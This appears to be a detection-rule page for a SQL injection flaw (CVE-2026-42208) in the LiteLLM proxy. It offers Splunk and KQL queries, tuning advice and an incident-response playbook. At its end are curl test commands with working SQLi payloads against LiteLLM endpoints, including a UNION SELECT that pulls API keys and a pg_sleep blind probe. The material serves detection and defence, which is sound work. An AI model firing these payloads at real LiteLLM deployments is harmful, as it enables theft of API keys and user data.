Detect BerriAI LiteLLM SQL Injection Exploitation (CVE-2026-42208) in Splunk
Detects exploitation attempts targeting a SQL injection vulnerability in BerriAI LiteLLM (CVE-2026-42208, CWE-89). LiteLLM is a widely deployed LLM proxy/gateway; successful exploitation allows unauthenticated or authenticated attackers to manipulate backend database queries, potentially exfiltrating API keys, user data, model configurations, and spend tracking records. This CVE is listed on the CISA KEV catalog, indicating active exploitation in the wild.
MITRE ATT&CK
SPL Detection Query
index=web OR index=proxy OR index=waf sourcetype IN ("access_combined", "nginx:access", "apache:access", "aws:alb:accesslogs", "pan:traffic", "suricata")
| where match(uri_path, "(?i)(key|user|spend|model|team|health|chat\/completions)")
| eval sqli_in_uri=if(match(uri_query, "(?i)('\s*OR\s*'|UNION\s+SELECT|--\s|'\s*;|1=1|0x27|%27)"), 1, 0)
| eval sqli_in_body=if(match(_raw, "(?i)('\s*OR\s*'|UNION\s+SELECT|--\s|'\s*;|1\s*=\s*1)"), 1, 0)
| where sqli_in_uri=1 OR sqli_in_body=1
| stats count AS attempt_count, dc(uri_path) AS distinct_paths, earliest(_time) AS first_seen, latest(_time) AS last_seen, values(uri_path) AS paths_targeted BY src_ip, http_user_agent
| eval risk=case(attempt_count>10, "high", attempt_count>3, "medium", true(), "low")
| sort -attempt_countDetects SQL injection attempts against LiteLLM API endpoints by inspecting web/proxy/WAF logs for SQLi payloads in URI query strings and raw request bodies. Groups by source IP for burst analysis.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Security scanners (Burp Suite, OWASP ZAP) during authorized assessments
- LLM prompt content containing SQL-like syntax forwarded through the proxy
- Automated API testing suites with fuzz payloads
- WAF bypass testing by red teams
Other platforms for CVE-2026-42208
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Error-Based SQL Injection on LiteLLM /key/info Endpoint
Expected signal: HTTP 500 or 422 response from LiteLLM; database error message in application logs; WAF alert if deployed
- Test 2UNION SELECT Injection Attempt on /user/info Endpoint
Expected signal: HTTP 500 or data leak in response body; PostgreSQL logs show UNION SELECT statement; network proxy logs capture full URL with UNION payload
- Test 3Time-Based Blind SQL Injection via LiteLLM /spend/logs
Expected signal: Response time >= 5 seconds; PostgreSQL slow query log entry for pg_sleep; application logs show extended request duration
- Test 4POST Body SQL Injection to LiteLLM /key/generate
Expected signal: HTTP 400/500 with SQL error in response; application log shows malformed query; SIEM alert on POST body containing OR 1=1
Response Playbook
Triage
- Confirm the targeted host is running BerriAI LiteLLM by checking process listings, container names, or service manifests. Verify the LiteLLM version if accessible via /health or /version endpoint.
- Review web/proxy/WAF logs for the source IP(s) involved: assess volume, timing, and breadth of paths targeted. Determine whether multiple LiteLLM API endpoints were probed or a single endpoint was repeatedly hit.
- Check whether the SQLi payload reached the application layer: look for corresponding database query logs (PostgreSQL/MySQL) for anomalous SELECT, UNION, or error messages indicating successful injection.
- Assess authentication state of requests: determine if the requests were unauthenticated or used a valid API key. If an API key was used, identify the key owner and check for lateral movement.
Containment
- Immediately block the offending source IP(s) at the WAF, network perimeter, or cloud security group level. If LiteLLM is internet-facing, consider temporarily restricting access to known CIDR ranges while investigation proceeds.
- If exploitation is confirmed, rotate all LiteLLM master keys and user API keys stored in the backend database. Revoke and reissue credentials for any downstream LLM providers (OpenAI, Anthropic, Azure) whose keys are managed via LiteLLM.
- Place LiteLLM in maintenance mode or behind an authenticated reverse proxy if patching cannot occur immediately, to prevent continued exploitation.
Evidence Collection
- Export full web server, reverse proxy, and WAF access logs for the 48 hours prior to detection. Preserve originals in tamper-evident storage before any log rotation occurs.
- Capture a memory dump and filesystem snapshot of the LiteLLM container or host, including the database files or connection string configuration, to support forensic analysis of what data may have been accessed or exfiltrated.
- Collect database audit logs (if enabled) to enumerate all queries executed during the attack window, paying particular attention to SELECT queries on API key tables, user tables, and spend/billing tables.
Escalation Criteria
- !Escalate immediately if database audit logs show successful UNION-based data extraction or if LLM provider API keys (OpenAI, Anthropic, Azure OpenAI) stored in LiteLLM are confirmed to have been exfiltrated — this constitutes a supply-chain compromise risk.
- !Escalate to CISO and legal if PII, billing data, or organizational spend records were exposed, as this may trigger breach notification obligations under GDPR, CCPA, or similar regulations.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
LiteLLM application logs at default path /app/litellm.log or Docker container stdout — search for SQL error messages or unusual query latency - >
PostgreSQL/MySQL query logs showing UNION SELECT, error-based, or time-based blind SQLi patterns - >
Network flow records showing unexpected outbound connections from the LiteLLM host following the initial SQLi requests (potential data exfiltration channel) - >
LiteLLM database tables: litellm_verificationtoken, litellm_usertable, litellm_teamtable — check for recently added rows or anomalous last_used timestamps indicating key theft and reuse
Tuning Guidance
Begin with medium confidence due to the high rate of false positives from apostrophes in natural language prompts routed through LiteLLM. Tune by (1) adding a whitelist of known-good internal scanner IPs, (2) requiring multiple SQLi payload patterns in a single request rather than a single match, (3) correlating with backend database error events to elevate confidence to high only when application-layer errors co-occur with HTTP-layer matches, and (4) excluding requests where the Content-Type is application/json and the body is a valid JSON structure with no raw SQL concatenation, as legitimate LLM completions payloads are JSON-encoded.
Hunting Queries
Hunt for database-level error messages and time-based blind SQLi indicators in LiteLLM application logs, which may indicate successful or partially-successful injection attempts that bypassed WAF-layer detection.
CommonSecurityLog
| where TimeGenerated >= ago(7d)
| where DestinationPort in (4000, 8000, 8080, 443) // common LiteLLM ports
| where Message has_any ("syntax error", "pg_sleep", "UNION", "information_schema", "pg_catalog")
| summarize count() by SourceIP, DestinationIP, TimeGenerated
| sort by TimeGenerated descindex=app sourcetype=litellm OR sourcetype=gunicorn OR sourcetype=uvicorn
| search "syntax error" OR "UNION" OR "pg_sleep" OR "information_schema" OR "unterminated quoted"
| stats count by src_ip, _time, message
| sort -countAtomic Red Team Tests
Sends a crafted GET request with a classic error-based SQL injection payload to the LiteLLM /key/info endpoint to trigger a database error response, confirming injection point exists.
Command
curl -s -o /dev/null -w "%{http_code}" "http://localhost:4000/key/info?key=' OR 1=1--" -H 'Authorization: Bearer sk-test'Cleanup
No cleanup required; this is a read-only probe.Expected Telemetry
HTTP 500 or 422 response from LiteLLM; database error message in application logs; WAF alert if deployed
Expected Detection
Query matches on `' OR 1=1--` pattern in RequestURL targeting /key/ prefix
Attempts a UNION-based SQL injection to extract the first row from the litellm_usertable, simulating credential theft.
Command
curl -s "http://localhost:4000/user/info?user_id=1' UNION SELECT user_id,api_key,NULL,NULL FROM litellm_verificationtoken--" -H 'Content-Type: application/json'Cleanup
No cleanup required; this is a read-only probe against the lab instance.Expected Telemetry
HTTP 500 or data leak in response body; PostgreSQL logs show UNION SELECT statement; network proxy logs capture full URL with UNION payload
Expected Detection
Query matches UNION SELECT pattern in RequestURL targeting /user/ endpoint
Uses pg_sleep() to perform time-based blind SQL injection, confirming database type and exploitability without triggering visible errors.
Command
curl -s -o /dev/null -w "%{time_total}" "http://localhost:4000/spend/logs?api_key=' OR pg_sleep(5)--" -H 'Authorization: Bearer sk-test'Cleanup
No cleanup required.Expected Telemetry
Response time >= 5 seconds; PostgreSQL slow query log entry for pg_sleep; application logs show extended request duration
Expected Detection
Pattern match on pg_sleep in URL query string; anomaly detection on response latency if baseline established
Injects SQL payload into a JSON POST body targeting the key generation endpoint, testing whether request body deserialization is vulnerable.
Command
curl -s -X POST http://localhost:4000/key/generate -H 'Content-Type: application/json' -H 'Authorization: Bearer sk-master' -d '{"team_id": "test\' OR 1=1--", "duration": "1h"}'Cleanup
Delete any test keys generated: curl -X DELETE http://localhost:4000/key/delete -H 'Authorization: Bearer sk-master' -d '{"keys":["<generated_key>"]}'Expected Telemetry
HTTP 400/500 with SQL error in response; application log shows malformed query; SIEM alert on POST body containing OR 1=1
Expected Detection
SIEM detects SQLi pattern in request body for /key/generate endpoint; DLP alert if response body contains database schema information